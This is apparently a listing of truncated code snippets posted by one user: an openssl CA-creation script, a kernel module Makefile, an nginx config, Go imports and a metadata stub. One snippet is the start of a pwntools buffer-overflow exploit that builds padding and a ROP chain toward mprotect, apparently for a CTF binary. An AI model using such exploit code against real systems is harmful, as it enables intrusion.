virusdefender

#!/bin/bash
set -ex

company="Chaitin"
subj="/C=CN/ST=Beijing/L=Beijing/O=$company Tech/OU=Service Infrastructure Department"
domain="vulndb"

# Create CA
openssl genrsa -out ca.key 2048
openssl req -new -x509 -nodes -sha256 -subj "$subj/CN=$company Root CA" -days 7500 -key ca.key -out ca.crt

virusdefender

from pwn import *

student = 0x7fffffffe2f0
shellcode = "1925\n"
student_size = 0x7fffffffe348 - student
shellcode += "A" * student_size

# pop rdi; ret
shellcode += p64(0x0000000000400803)
# mprotect arg1 addr

virusdefender

{"tags":[],"lastModified":1517885747220}

virusdefender

obj-m += reset_proc_memory.o
KDIR ?= /lib/modules/$(shell uname -r)/build

all:
	make -C $(KDIR) M=$(PWD) modules

clean:
	make -C $(KDIR) M=$(PWD) clean

virusdefender

server {
    listen       80;
    server_name  localhost;

    #charset koi8-r;
    #access_log  /var/log/nginx/host.access.log  main;
    error_log stderr info;

    location / {
        root   /usr/local/openresty/nginx/html;

virusdefender

package main

import (
	"archive/zip"
	"fmt"
	"io"
	"log"
	"os"
	"path/filepath"
)

virusdefender

sleep 100